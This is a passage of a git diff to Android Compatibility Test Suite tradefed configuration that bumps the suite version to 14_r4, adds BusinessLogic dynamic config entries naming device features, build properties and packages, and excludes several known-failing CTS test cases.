+    </entry>
+    <entry key="business_logic_extended_device_info">
+        <!-- Name of extended device info file and a key stored in there.
+             The name must be subclass name of DeviceInfo under compatibility/common/deviceinfo
+             and key of the value stored in the subclass. See each class what keys are used.
+        -->
+        <value>MemoryDeviceInfo:total_memory</value>
+    </entry>
 </dynamicConfig>
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index 9fa7ac2..2ac1225 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -34,7 +34,7 @@
     wrapper: "etc/cts-tradefed",
     short_name: "CTS",
     full_name: "Compatibility Test Suite",
-    version: "14_r3",
+    version: "14_r4",
     static_libs: ["cts-tradefed-harness"],
     required: ["compatibility-host-util"],
 }
diff --git a/tools/cts-tradefed/DynamicConfig.xml b/tools/cts-tradefed/DynamicConfig.xml
index 60b0e98..0395420 100644
--- a/tools/cts-tradefed/DynamicConfig.xml
+++ b/tools/cts-tradefed/DynamicConfig.xml
@@ -13,9 +13,48 @@
      limitations under the License.
 -->
 
-<!--TODO(b/117957288): Remove dynamic config from suite-level.-->
 <dynamicConfig>
     <entry key="media_files_url">
          <value>https://dl.google.com/dl/android/cts/android-cts-media-1.4.zip</value>
     </entry>
+
+
+    <!-- Required by BusinessLogic. -->
+    <entry key="business_logic_device_features">
+        <value>android.hardware.type.automotive</value>
+        <value>android.hardware.type.television</value>
+        <value>android.hardware.type.watch</value>
+        <value>android.hardware.type.embedded</value>
+        <value>android.hardware.type.pc</value>
+        <value>android.software.leanback</value>
+        <value>com.google.android.feature.PIXEL_EXPERIENCE</value>
+        <value>android.hardware.telephony</value>
+        <value>android.hardware.vr.high_performance</value>
+        <value>cn.google.services</value>
+        <value>com.google.android.feature.RU</value>
+        <value>android.hardware.ram.low</value>
+        <value>com.google.android.feature.EEA_DEVICE</value>
+        <value>com.google.android.paid.chrome</value>
+        <value>com.google.android.paid.search</value>
+    </entry>
+    <entry key="business_logic_device_properties">
+        <value>ro.build.fingerprint</value>
+        <value>ro.build.version.sdk</value>
+        <value>ro.product.brand</value>
+        <value>ro.product.first_api_level</value>
+        <value>ro.product.manufacturer</value>
+        <value>ro.product.model</value>
+        <value>ro.product.name</value>
+    </entry>
+    <entry key="business_logic_device_packages">
+        <value>com.google.android.gms</value>
+        <value>com.android.vending</value>
+    </entry>
+    <entry key="business_logic_extended_device_info">
+        <!-- Name of extended device info file and a key stored in there.
+             The name must be subclass name of DeviceInfo under compatibility/common/deviceinfo
+             and key of the value stored in the subclass. See each class what keys are used.
+        -->
+        <value>MemoryDeviceInfo:total_memory</value>
+    </entry>
 </dynamicConfig>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 52c1f87..8970baa 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -346,4 +346,13 @@
 
     <!-- b/301216478 -->
     <option name="compatibility:exclude-filter" value="CtsSandboxedFledgeManagerTests com.android.tests.sandbox.fledge.SandboxedFledgeManagerTest#loadSdkAndRunFledgeFlow" />
+
+    <!-- b/320761239 -->
+    <option name="compatibility:exclude-filter" value="CtsAppOpsTestCases android.app.appops.cts.AttributionTest#cannotUseTooManyAttributions" />
+    <option name="compatibility:exclude-filter" value="CtsAppOpsTestCases android.app.appops.cts.AppOpEventCollectionTest#noteFromTwoProxiesAndVerifyProxyInfo" />
+    <option name="compatibility:exclude-filter" value="CtsAppOpsTestCases android.app.appops.cts.AppOpEventCollectionTest#startStopTrustedProxyVerifyRunningAndTime" />
+    <option name="compatibility:exclude-filter" value="CtsAppOpsTestCases android.app.appops.cts.AppOpEventCollectionTest#startStopTrustedAndUntrustedProxyVerifyProxyInfo" />
+
+    <!-- b/318756444 -->
+    <option name="compatibility:exclude-filter" value="CtsSettingsTestCases android.settings.cts.SettingsMultiPaneDeepLinkTest#deepLinkHomeActivity_splitNotSupported_deepLinkHomeDisabled" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 01073ca..f6d0b93 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -169,4 +169,9 @@
     <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testAttestationKmVersionMatchesFeatureVersionStrongBox" />
     <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.DeviceOwnerKeyManagementTest#testAllVariationsOfDeviceIdAttestationUsingStrongBox" />
 
+    <!-- b/318588433 Remove CtsAppTestCases android.app.cts.SystemFeaturesTest#testNfcFeatures from cts-on-gsi -->
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testNfcFeatures" />
+
+    <!-- b/319046794 -->
+    <option name="compatibility:exclude-filter" value="CtsAppCloningHostTest" />
 </configuration>